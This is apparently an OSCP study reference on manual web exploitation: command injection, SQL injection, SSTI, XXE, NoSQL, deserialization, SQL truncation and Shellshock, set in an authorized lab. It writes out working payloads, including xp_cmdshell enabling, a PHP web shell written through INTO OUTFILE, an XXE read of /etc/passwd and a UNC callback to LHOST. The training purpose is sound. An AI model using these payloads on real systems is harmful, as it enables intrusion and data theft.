OSCP Reference

9.3.3 Command and Manual SQL Injection

← Stage index · Web mapping · Quick sheet · Mechanics | Strategy map | Study methods: Turn application weaknesses into access

Use when: mapped application behavior suggests attacker input reaches an operating-system command or database query. Preserve a valid baseline, change one input at a time and prove each capability separately.

9.3.3.1 Prove whether an input can execute an operating-system command Operating-system command injection

9.3.3.1.1 Prove command execution through independently recognizable output Visible-output baseline

Start with a benign identity marker appropriate to the inferred operating system:

curl -skG --data-urlencode 'host=127.0.0.1;id' http://TARGET:PORT/PATH
curl -skG --data-urlencode 'host=127.0.0.1&whoami' http://TARGET:PORT/PATH

Decisive output: command output attributable to the target, such as a username/UID that is absent from the normal response. Reflection of the payload is not execution.

9.3.3.1.1.1 Variants — separators, quoting and POST bodies

Test only the forms compatible with the observed command and platform:

127.0.0.1; id
127.0.0.1 && id
127.0.0.1 | id
127.0.0.1%0aid
curl -sk -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode 'host=127.0.0.1;id' http://TARGET:PORT/PATH
curl -sk -X POST -H 'Content-Type: application/json' -d '{"host":"127.0.0.1;id"}' http://TARGET:PORT/api/PATH

For Windows command contexts, use an observed cmd.exe or PowerShell boundary before choosing syntax:

127.0.0.1 & whoami
127.0.0.1 | whoami

9.3.3.1.2 Check command execution through repeated control and timing comparisons Blind timing proof

Repeat a control and a bounded-delay request several times:

curl -sk -o /dev/null -w 'control=%{time_total}\n' -G --data-urlencode 'host=127.0.0.1' http://TARGET:PORT/PATH
curl -sk -o /dev/null -w 'test=%{time_total}\n' -G --data-urlencode 'host=127.0.0.1;sleep 5' http://TARGET:PORT/PATH

Windows candidate after platform evidence:

127.0.0.1 & timeout /t 5

Decisive output: a repeatable delay near the chosen interval relative to multiple controls. One slow response is inconclusive.

9.3.3.1.3 After command execution

Linux:   id; hostname; pwd
Windows: whoami; hostname; cd

Record the execution identity, working directory, shell/parser and egress assumptions. Hand reliable-session work to Block 7; do not treat one command response as an interactive shell.

9.3.3.2 Validate SQL query influence and select an extraction method Manual SQL injection workflow

Exam boundary: the current OSCP+ exam guide prohibits SQLmap and other automatic exploitation tools. The following procedure is manual. Recheck the current guide before an exam.

9.3.3.2.1 Establish query influence

Replay a valid request in Burp Repeater. Change one parameter and compare a normal value, quote, true condition and false condition:

VALUE
VALUE'
VALUE' AND '1'='1
VALUE' AND '1'='2

For a numeric context:

1
1 AND 1=1
1 AND 1=2

Evidence: a database error, stable true/false response difference, or repeatable database-specific delay. An isolated 500, WAF block or generic application error is not enough.

9.3.3.2.2 Test whether query influence changes authentication decisions Authentication-bypass candidate

In an authorized disposable lab, preserve the application's quoting and comment syntax:

' OR 1=1-- -
administrator'-- -

Verification: identify the resulting account/session and perform a separate authorized request. A redirect or welcome string alone can be misleading.

9.3.3.2.3 Find the column count and types needed for a UNION result Determine UNION shape

First establish column count:

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

Or increment NULL columns until the query succeeds:

' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -

Then find a displayed text-compatible column:

' UNION SELECT NULL,'MARKER_7F31',NULL-- -

Decisive output: the marker appears in a response location controlled by the injected row. Match the exact column count and data types.

9.3.3.2.4 Extract only after fingerprinting the DBMS

MySQL:      ' UNION SELECT NULL,version(),NULL-- -
PostgreSQL: ' UNION SELECT NULL,version(),NULL-- -
MSSQL:      ' UNION SELECT NULL,@@version,NULL-- -

Use the confirmed DBMS's catalog and concatenation syntax rather than cycling unrelated payloads. Keep each extraction request reproducible in Repeater.

9.3.3.2.5 Infer selected database values through stable response differences Boolean- or time-blind extraction

Choose a stable page marker or content length for true/false comparisons:

' AND SUBSTRING((SELECT version()),1,1)='P'-- -
' AND SUBSTRING((SELECT version()),1,1)='X'-- -

DBMS-specific time proofs:

MySQL:      ' AND IF(1=1,SLEEP(5),0)-- -
PostgreSQL: '; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
MSSQL:      '; IF (1=1) WAITFOR DELAY '0:0:5'--

Repeat controls. Time-based results are invalid if application latency overlaps the chosen delay or the condition cannot be changed independently.

9.3.3.3 Check whether database rights enable useful file or OS operations Database control to operating-system effect

This is a new transition, not an automatic consequence of SQL injection. Verify the DBMS identity, database role, feature state, filesystem permissions and path or egress assumptions first.

9.3.3.3.1 MSSQL — xp_cmdshell when privilege and policy allow
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';

Requires sufficient server privilege; enabling it changes server configuration. Prefer a direct proof when it is already enabled. Verify the Windows service identity returned by whoami.

9.3.3.3.2 PostgreSQL — COPY PROGRAM when role and version allow
DROP TABLE IF EXISTS cmd_output;
CREATE TABLE cmd_output(line text);
COPY cmd_output FROM PROGRAM 'id';
SELECT * FROM cmd_output;

Requires a superuser or a role such as pg_execute_server_program; the command runs under the database service account.

9.3.3.3.3 MySQL/MariaDB — file write as a separate primitive
SELECT '<?php echo shell_exec($_GET["cmd"]); ?>'
INTO OUTFILE '/CONFIRMED/WEBROOT/check.php';

Requires FILE privilege, a permitted secure_file_priv destination, a known writable webroot and PHP execution there. Verify the file through HTTP, then verify execution. If it only displays or downloads, only file write is proven.

9.3.3.4 Validate a controlled callback when in-band extraction is unavailable Out-of-band SQL injection boundary

Out-of-band testing is relevant only when direct content, errors, boolean differences and repeatable time delays cannot produce decisive evidence and the database can initiate a network request. A callback proves server/database-side resolution or connectivity; it does not by itself prove arbitrary query-result extraction.

Hypothetical MySQL/Windows UNC lookup in an authorized lab:

SELECT LOAD_FILE(CONCAT('\\\\LHOST\\', DATABASE()));

Use a uniquely labelled controlled listener/domain and transmit no sensitive row data during proof. Required conditions include a DBMS/function that performs the lookup, sufficient database/OS permissions, working outbound DNS/SMB/HTTP as applicable and an observable callback. No callback is inconclusive until query execution and outbound reachability are separated. Avoid poisoning/spoofing; the current OSCP+ exam guide prohibits spoofing.

9.3.3.5 Failure-guided decisions

9.3.3.6 Continue with the capability your result enables Handoffs

9.3.3.7 Prove server-side template evaluation and identify its engine SSTI — prove template evaluation, then identify the engine

Use when controlled text appears inside a server-rendered template, email preview or report. Replay the real parameter and session. These are separate probes, not one universal payload:

9.3.3.7.1 Jinja/Twig-style expression probe

# Jinja/Twig-style expression probe
curl -sS -G --data-urlencode 'name={{7*7}}' http://TARGET:PORT/PATH

9.3.3.7.2 A different delimiter family, only when the first is literal or errors suggest it

# A different delimiter family, only when the first is literal or errors suggest it
curl -sS -G --data-urlencode 'name=${7*7}' http://TARGET:PORT/PATH

9.3.3.7.3 Jinja-versus-Twig clue; interpret alongside source/errors, not in isolation

# Jinja-versus-Twig clue; interpret alongside source/errors, not in isolation
curl -sS -G --data-urlencode "name={{7*'7'}}" http://TARGET:PORT/PATH

Read: changed, repeatable computed output compared with a literal control supports evaluation. 49 alone does not identify the engine. Jinja commonly repeats the string; Twig commonly treats it numerically. Confirm the engine/version and exposed objects before selecting a file-read or command primitive. Literal reflection → inspect another template/input boundary; a syntax error alone does not prove an exploitable expression.

Sources: upstream 1.

9.3.3.8 Check whether XML entity processing enables useful file read XXE — test the XML parser and file-read result

Use a working XML request and put the entity reference in a field whose parsed value is returned. Retain the original wrapper, cookies and endpoint. Example body for an XML-compatible endpoint:

<?xml version="1.0"?>
<!DOCTYPE request [<!ENTITY probe SYSTEM "file:///etc/passwd">]>
<request><value>&probe;</value></request>
curl -i -b cookies.txt -H 'Content-Type: application/xml' \
  --data-binary @xxe.xml http://TARGET:PORT/PATH

Read: recognizable file content in the parsed field proves read access; echoing the submitted XML does not. Choose a platform-appropriate file; Windows can use file:///C:/Windows/win.ini. DTD rejection or unresolved entities → check the parser's actual configuration, not more traversal depth.

If the application builds XML around your input and processes XInclude, a separate condition can exist without control over the document's DOCTYPE:

<value xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</value>

A blind endpoint needs an observable parser/network effect before any exfiltration claim. Follow verified config/source reads into credential or application testing.

Sources: upstream 1.

9.3.3.9 Check whether structured operators alter NoSQL query behavior NoSQL operator injection — separate JSON objects from strings

Use when a login/search accepts structured JSON or nested form parameters and evidence suggests a MongoDB-style query. Start with a normal failed request, then change one value's type.

9.3.3.9.1 A known username with an operator-valued password

# A known username with an operator-valued password
curl -i -c cookies.txt -H 'Content-Type: application/json' \
  --data '{"username":"USER","password":{"$ne":""}}' http://TARGET:PORT/LOGIN

9.3.3.9.2 Distinct context: a form parser that expands bracketed properties

# Distinct context: a form parser that expands bracketed properties
curl -i -c cookies.txt --data-urlencode 'username=USER' \
  --data-urlencode 'password[$ne]=x' http://TARGET:PORT/LOGIN

Read: compare against the same operator encoded as a plain string and against a known wrong password. Confirm the resulting identity through a protected route. A 200/login page or changed error is not authenticated access. Type validation, hashing the supplied password before querying, or removal of $ operators can rule out this route. Broader $ne username queries may select an unexpected first account; keep the intended identity explicit.

Sources: upstream 1.

9.3.3.10 Check whether unsafe deserialization reaches a usable installed gadget PHP deserialization — match the gadget to installed dependencies

Use when a controlled serialized value reaches unsafe unserialize() and the required classes are loaded. Identify dependencies/builds from source or composer.lock first.

9.3.3.10.1 Inspect available families and the exact chain's version/vector requirements

# Inspect available families and the exact chain's version/vector requirements
phpggc -l
phpggc -i Monolog/RCE1

9.3.3.10.2 Example function-call gadget, only when that chain matches the application

# Example function-call gadget, only when that chain matches the application
phpggc -b Monolog/RCE1 system id > payload.b64

Read: base64 is a transport choice, not a bypass—the sink must decode it before deserialization. Preserve raw serialized lengths and binary bytes; use the encoding that the real request expects. A generated payload is not execution proof. Missing classes, rejected object types or a different dependency version → choose a matching chain or another primitive. Verify a benign effect before selecting a shell payload.

Sources: upstream 1.

9.3.3.11 Check whether YAML loading constructs attacker-controlled objects Unsafe YAML construction — distinguish loading from safe parsing

Use when source or errors identify Python YAML processing with an unsafe loader and you control the loaded YAML. An ordinary JSON field or yaml.safe_load() does not supply this condition.

!!python/object/apply:os.system ["id"]

Put the probe in the actual YAML input/file, preserving its required surrounding structure. Read: attributable command output/effect supports unsafe construction. ConstructorError for the Python tag commonly indicates a loader that does not permit that constructor. Confirm the installed PyYAML version and loader (UnsafeLoader/unsafe load), rather than assuming that any use of YAML permits Python object execution.

Sources: upstream 1.

9.3.3.12 Check whether account normalization crosses an identity boundary SQL truncation or normalization mismatch at registration

Use when the application checks one representation for uniqueness but the DB stores or compares a different one—for example, an overlong username in a fixed-length column. Validate with a disposable account first.

-- With SQL visibility, inspect the real column and strict-mode behavior
SELECT @@sql_mode;
SELECT COLUMN_NAME, CHARACTER_MAXIMUM_LENGTH
FROM information_schema.columns
WHERE table_schema = DATABASE() AND table_name = 'users';

Compare registration/login behavior for the test name, its trailing-space form and an overlong form that would truncate to it. A plus character only becomes a space in the appropriate form encoding; it is not a universal SQL payload. A strict length error or a unique constraint on the normalized stored value can stop this path. Confirm an actual account/authorization change before calling it a bypass.

Sources: upstream 1.

9.3.3.13 Check a confirmed CGI-to-Bash path for Shellshock command execution Shellshock candidate — only for a CGI path that invokes vulnerable Bash

Use when a confirmed CGI endpoint passes HTTP-derived environment variables into an affected Bash process. An arbitrary PHP/Java route or a Bash version string alone does not establish this chain.

# Bounded command-effect probe at the actual CGI script
curl -i -H 'User-Agent: () { :;}; echo; /usr/bin/id' \
  http://TARGET:PORT/cgi-bin/SCRIPT

Read: an attributable UID in the executed CGI response supports the effect; reflection of the header text does not. Header/CGI parsing errors require inspecting the request and script behavior. No effect → re-check the actual component and patch status before selecting another PoC. This is the CVE-2014-6271 family, not a generic command separator for every web input.

Sources: upstream 1.

9.3.3.14 Sources

Supplied PEN-200 Ch 9.4 pp274-279 and Ch 10 pp285-300; reviewed getSH Web/SQLi route; Hexdump SQL injection module; OWASP command injection testing, OWASP SQL injection testing; current OSCP+ exam guide.


Top of document · Reference home